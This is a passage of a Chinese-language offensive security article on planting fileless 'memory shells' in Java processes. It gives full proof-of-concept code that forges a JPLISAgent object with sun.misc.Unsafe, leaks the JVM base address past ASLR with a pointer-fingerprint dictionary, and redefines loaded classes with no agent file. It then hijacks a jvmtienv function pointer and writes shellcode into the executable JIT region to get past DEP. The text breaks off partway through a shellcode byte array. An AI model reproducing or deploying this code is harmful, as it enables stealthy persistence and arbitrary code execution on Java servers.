/EMFUWREAgBA4VFkRAIEQ4FRZEQCCEHVUWREAgxDxVFkRAIQQTFRZEQCFBlRZEQCGEExUWREAhxAkVFkRAIgQCFRZEQCJEEVUWREAihA5VFkRAIsQ0VRZEQCMEHVUWREAjRDYVFkRAI4QWFRZEQCPEERUWREAkBCLVFkRAJEQQFRZEQCSECRUWREAkxBJVFkRAJQEVFkRAJUQ0FRZEQCWEGZUWREAlxBBVFkRAJgQi1RZEQCZEAxUWREAmhBIVFkRAJsQRFRZEQCcEItUWREAnRBAVFkRAJ4QHFRZEQCfEElUWREAoARUWREAoRDQVFkRAKIQQVRZEQCjEItUWREApAdUWREApRCIVFkRAKYQSFRZEQCnBFRZEQCoENBUWREAqRBBVFkRAKoQWFRZEQCrEEFUWREArBBYVFkRAK0QXlRZEQCuEFlUWREArxBaVFkRALAQQVRZEQCxEFhUWREAshBBVFkRALMQWVRZEQC0EEFUWREAtRBaVFkRALYQSFRZEQC3EINUWREAuBDsVFkRALkQIFRZEQC6EEFUWREAuxBSVFkRALwCVFkRAL0Q4FRZEQC+EFhUWREAvxBBVFkRAMAQWVRZEQDBEFpUWREAwhBIVFkRAMMQi1RZEQDEEBJUWREAxRDpVFkRAMYQV1RZEQDHAlRZEQDIAlRZEQDJAlRZEQDKEF1UWREAyxBIVFkRAMwQulRZEQDNBFRZEQDOA1RZEQDPA1RZEQDQA1RZEQDRA1RZEQDSA1RZEQDTA1RZEQDUA1RZEQDVEEhUWREA1hCNVFkRANcQjVRZEQDYBFRZEQDZBFRZEQDaA1RZEQDbA1RZEQDcEEFUWREA3RC6VFkRAN4QMVRZEQDfEItUWREA4BBvVFkRAOEQh1RZEQDiAlRZEQDjENVUWREA5BC7VFkRAOUQ8FRZEQDmELVUWREA5xCiVFkRAOgQVlRZEQDpEEFUWREA6hC6VFkRAOsQplRZEQDsEJVUWREA7RC9VFkRAO4QnVRZEQDvAlRZEQDwENVUWREA8RBIVFkRAPIQg1RZEQDzEMRUWREA9BAoVFkRAPUQPFRZEQD2EAZUWREA9xB8VFkRAPgQClRZEQD5EIBUWREA+hD7VFkRAPsQ4FRZEQD8EHVUWREA/QhUWREA/hC7VFkRAP8QR1RZEQEAEBNUWREBARByVFkRAQIQb1RZEQEDEGpUWREBBANUWREBBRBZVFkRAQYQQVRZEQEHEIlUWREBCBDaVFkRAQkCVFkRAQoQ1VRZEQELEGNUWREBDBBhVFkRAQ0QbFRZEQEOEGNUWREBDxAuVFkRARAQZVRZEQEREHhUWREBEhBlVFkRARMDVEsUAAQqEgYSBgO9AAe4AAinAAhMK7YACrEAAQboBvcG+gAJAAMADwAAAB4ABwAAAAwABQANBugANQb3ADoG+gA3BvsAOQb/ADsAEAAAABYAAgb7AAQAGwAcAAEAAAcAAB0AHgAAAB8AAAAJAAL3BvoHACAEAAEAIQAAAAIAIg=="; Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
for (Method m:result.getDeclaredMethods()) { System.out.println(m.getName()); if (m.getName().equals("run")) { m.invoke(result,new byte[]{}); } } } catch (Exception e) { e.printStackTrace(); } }}
这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。
## 无文件落地Agent型内存马植入
## 可行性分析
前面我们讲到了目前Java内存马的分类：Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后，会产生新的类和对象，同时还会产生各种错综复杂的相互引用关系，比如要创建一个恶意Filter内存马，需要先修改已有的FilterMap，然后新增FilterConfig、FilterDef，最后还要修改FilterChain，这一系列操作产生的脏数据过多，不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。
但是目前来看，Agent型内存马的缺点也非常明显：
•磁盘有agent文件落地
•需要上传文件，植入步骤复杂
•如无写文件权限，则无法植入
众所周知，想要动态修改JVM中已经加载的类的字节码，必须要通过加载一个Agent来实现，这个Agent可以是Java层的agent.jar，也可以是Native层的agent.so，但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢？换句话说，有没有一种方法可以在不依赖额外Agent的情况下，动态修改JVM中已经加载的类的字节码呢？以前没有，现在有了：）
首先，我们先看一下通过Agent动态修改类的流程：
1.在客户端和目标JVM建立IPC连接以后，客户端会封装一个用来加载agent.jar的AttachOperation对象，这个对象里面有三个关键数据：actioName、libName和agentPath；
2.服务端收到AttachOperation后，调用enqueue压入AttachOperation队列等待处理；
3.服务端处理线程调用dequeue方法取出AttachOperation；
4.服务端解析AttachOperation，提取步骤1中提到的3个参数，调用actionName为load的对应处理分支，然后加载libinstrument.so（在windows平台为instrument.dll），执行AttachOperation的On_Attach函数（由此可以看到，Java层的instrument机制，底层都是通过Native层的Instrument来封装的）；
5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件，该jar中调用了redefineClass的功能；
6.执行流转到Java层，JVM会实例化一个InstrumentationImpl类，这个类在构造的时候，有个非常重要的参数mNativeAgent：
这个参数是long型，其值是一个Native层的指针，指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后，再继续调用InstrumentationImpl类的redefineClasses方法，做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
8.执行流继续走入Native层：
继续跟入：
做了一系列判断之后，最终调用jvmtienv的redefineClasses方法执行类redefine操作：
接下来理一下思路，在上面的8个步骤中，我们只要能跳过前面5个步骤，直接从步骤6开始执行，即可实现我们的目标。那么问题来了，步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值，这个值是一个指向JPLISAgent对象的指针，这个值我们不知道。只有一个办法，我们需要自己在Native层组装一个JPLISAgent对象，然后把这个对象的地址传给Java层InstrumentationImpl的构造器，就可以顺利完成后面的步骤。
## 组装JPLISAgent
## Native内存操作
想要在Native内存上创建对象，首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer，可以提供用户申请堆外内存的能力，这也就说明DirectByteBuffer是有操作Native内存的能力，而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的，这里我们也直接使用Unsafe进行Native内存操作。
通过如下代码获取Unsafe：
Unsafe unsafe = null;
try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}
通过unsafe的allocateMemory、putlong、getAddress方法，可以实现Native内存的分配、读写。
## 分析JPLISAgent结构
接下来，就是分析JPLISAgent对象的结构了，如下：
JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知，最终实现redefineClasses操作的是 *
jvmtienv的redefineClasses函数。但是这个jvmtienv的指针，是通过jvmti(JPLISAgent)推导出来的，如下：
而jvmti是一个宏：
而在执行到 * jvmtienv的redefineClasses之前，还有多处如下调用都用到了jvmtienv：
因此，我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针，也就是JPLISAgent的mNormalEnvironment成员，其结构如下：
可以看到这个结构里存在一个回环指针mAgent，又指向了JPLISAgent对象，另外，还有个最重要的指针mJVMTIEnv，这个指针是指向内存中的JVMTIEnv对象的，这是JVMTI机制的核心对象。另外，经过分析，JPLISAgent对象中还有个mRedefineAvailable成员，必须要设置成true。
接下来就是要确定JVMTIEnv的地址了。
## 定位JVMTIEnv
通过动态分析可知，0x000002E62D8EE950为JPLISAgent的地址，0x000002E62D8EE950+0x8（0x000002E62D8EEB60）为mJVMTIEnv,即指向JVMTIEnv指针的指针：
转到该指针：
可以看到0x6F78A220即为JVMTIEnv对象的真实地址，通过分析发现，该对象存在于jvm模块的地址空间中，而且偏移量是固定的，那只要找到jvm模块的加载基址，加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是，现代操作系统默认都开启了ASLR，因此jvm模块的基址并不可知。
## 信息泄露获取JVM基址
由上文可知，Unsafe提供了堆外内存的分配能力，这里的堆并不是OS层面的堆，而是Java层面的堆，无论是Unsafe分配的堆外地址，还是Java的堆内地址，其都在OS层的堆空间内。经过分析发现，在通过Unsafe分配一个很小的堆外空间时，这个堆外空间的前后内存中，存在大量的指针，而这些指针中，有一些指针指向jvm的地址空间。编写如下代码：
long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
输出如下：
定位到地址0x2e61a1b67d0：
可见前后有很多指针，绿色的那些指针，都指向jvm的地址空间：
但是，这部分指针并不可复现，也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的，也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时，最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序，多次运行程序，收集大量的前后指针列表，这些指针中有大量是重复出现的，然后根据指针末尾两个字节，做了一个字典，当然只做2个字节的匹配，很容易出错，于是我又根据这些大量指针指向的指针，取末尾两个字节，又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典，并根据指针重复出现的频次排序。POC运行的时候，会以allocateMemory开始，往前往后进行字典匹配，可以准确的确定jvm模块的基址。部分字典结构如下："'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'
每个条目含有3个元素，第一个为指针末尾2字节，第二个元素为指针指向的指针末尾两个字节，第三个元素为指针与baseAddress的偏移量。基址确定了，jvmtienv的具体地址就确定了。当然拿到了jvm的地址，加上JavaVM的偏移量便可以直接获得JavaVM的地址。
## 开始组装
拿到jvm模块的基址后，就万事俱备了，下面准备装配JPLISAgent对象，代码如下：
private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr=unsafe.allocateMemory(0x200); long jvmtiStackAddr=unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr,jvmtiAddress); unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l); System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168)); unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
unsafe.putLong(agentAddr+0x8,jvmtiStackAddr); unsafe.putLong(agentAddr+0x10,agentAddr); unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);
//make retransform env unsafe.putLong(agentAddr+0x20,jvmtiStackAddr); unsafe.putLong(agentAddr+0x28,agentAddr); unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);
unsafe.putLong(agentAddr+0x38,0); unsafe.putLong(agentAddr+0x40,0); unsafe.putLong(agentAddr+0x48,0); unsafe.putLong(agentAddr+0x50,0);
unsafe.putLong(agentAddr+0x58,0x0072007400010001l); unsafe.putLong(agentAddr+0x60,agentAddr+0x68); unsafe.putLong(agentAddr+0x68,0x0041414141414141l); return agentAddr; }
入参为上一阶段获取的jvmti的地址，返回值为JPLISAgent的地址。
完整POC如下（跨平台）：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;
public class PocWindows { public static void main(String[] args) throws Throwable {
Unsafe unsafe = getUnsafe();
Thread.sleep(2000); //System.gc(); //Thread.sleep(2000); long allocateMemory = unsafe.allocateMemory(3); System.out.println("allocateMemory:" + Long.toHexString(allocateMemory)); String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64 //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 jvmtiOffset=0x78a280; //for windows_java_8_301_x64 //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List<Map<String, String>> patternList = new ArrayList<Map<String, String>>(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap<String, String>(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); }
int offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++) //down search {
for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset); String targetHex = Long.toHexString(target); if (target % 8 > 0 || targetHex.length() != targetHexLength) { continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
for (Map<String, String> patternMap : patternList) { targetHex = Long.toHexString(target);
if (targetHex.endsWith(patternMap.get("offset"))) { String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) { System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16))); System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset)); //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress);
//doAgent(Long.parseLong(address));
bird.sayHello(); return; }
} }
}
} }
private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
//make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0);
unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; }
private static void doAgent(long address) throws Exception { Class cls = Class.forName("sun.instrument.InstrumentationImpl"); for (int i = 0; i < cls.getDeclaredConstructors().length; i++) { Constructor constructor = cls.getDeclaredConstructors()[i]; constructor.setAccessible(true); Object obj = constructor.newInstance(address, true, true); for (Field f : cls.getDeclaredFields()) { f.setAccessible(true); if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) { //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj)); } } for (Method m : cls.getMethods()) {
if (m.getName().equals("redefineClasses")) { //System.out.println("redefineClasses:" + m); String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA="; Bird bird = new Bird(); ClassDefinition classDefinition = new ClassDefinition( bird.getClass(), Base64.getDecoder().decode(newBirdClassStr)); ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition}; try { //Thread.sleep(5000); m.invoke(obj, new Object[]{classDefinitions}); } catch (Exception e) { e.printStackTrace(); }
} } //System.out.println("instrument obj:" + obj); //System.out.println("constr:" + cls.getDeclaredConstructors()[i]); } }
private static Unsafe getUnsafe() { Unsafe unsafe = null;
try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; }
}
Bird.java
package net.rebeyond;
public class Bird { public void sayHello() { System.out.println("hello!"); }}
编译，运行：
上述环境是win10+Jdk1.8.0_301_x64，注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹，如果是其他OS或者JDK版本，指纹库需要对应更新。
可以看到，我们成功通过纯Java代码实现了动态修改类字节码。
按照惯例，我提出一种新的技术理论的时候，一般会直接给出一个下载即可用的exp，但是现在为了合规起见，此处只给出demo，不再提供完整的利用工具。
## Java跨平台任意Native代码执行
## 确定入口
上文中，我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术，当注入的目标进行为-1时，可以往当前Java进程注入shellcode，实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的：）
上一小节我们在伪造JPLISAgent对象的时候，留意到redefineClasses函数里面有这种代码：
allocate函数的第一个参数是jvmtienv指针，我们跟进allocate函数：
void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) { void * resultBuffer = NULL; jvmtiError error = JVMTI_ERROR_NONE;
error = (*jvmtienv)->Allocate(jvmtienv, bytecount, (unsigned char**) &resultBuffer); /* may be called from any phase */ jplis_assert(error == JVMTI_ERROR_NONE); if ( error != JVMTI_ERROR_NONE ) { resultBuffer = NULL; } return resultBuffer;}
可以看到最终是调用的jvmtienv对象的一个成员函数，先看一下真实的jvmtienv是什么样子：
对象里是很多函数指针，看到这里，如果你经常分析二进制漏洞的话，可能会马上想到这里jvmtienv是我们完全可控的，我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。
构造如下POC：
先动态调试看一下我们布局的payload：
0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址，我们从这里开始布局JPLISAgent对象，0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针，跟进0x219d1b1a820，其值为指向真实的jvmtienv对象的指针，这里我们把他指向了他自己0x219d1b1a820，接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168，我们只要覆盖0x219d1b1a820+0x168（0x219d1b1a988）的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990，紧跟在0x219d1b1a988的后面，然后往0x219d1b1a990写入shellcode。
编译，运行：
进程crash了，报的异常是意料之中，仔细看下报的异常：
#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc
内存访问异常，但是pc的值是0x00000219d1b1a990，这就是我们shellcode的首地址。说明我们的payload布置是正确的，只不过系统开启了NX（DEP），导致我们没办法去执行shellcode，下图是异常的现场，可见RIP已经到了shellcode：
### 绕过NX(DEP)
上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上，不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢？熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE，而Java也是有JIT特性的，通过分析进程内存布局，可以看到Java进程确实也存在这样一个区域，如下图：
我们只要通过unsafe把shellcode写入这个区域即可。但是，还有ASLR，需要绕过ASLR才能获取到这块JIT区域。
## 绕过ASLR
在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法，这个方法在这里同样适用。不过，这里我想换一种方法，因为通过指纹匹配的方式，需要针对不同的Java版本做适配，还是比较麻烦的。这里采用了搜索内存的方法，如下：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;
public class PocForRCE { public static void main(String [] args) throws Throwable {
byte buf[] = new byte[] { (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 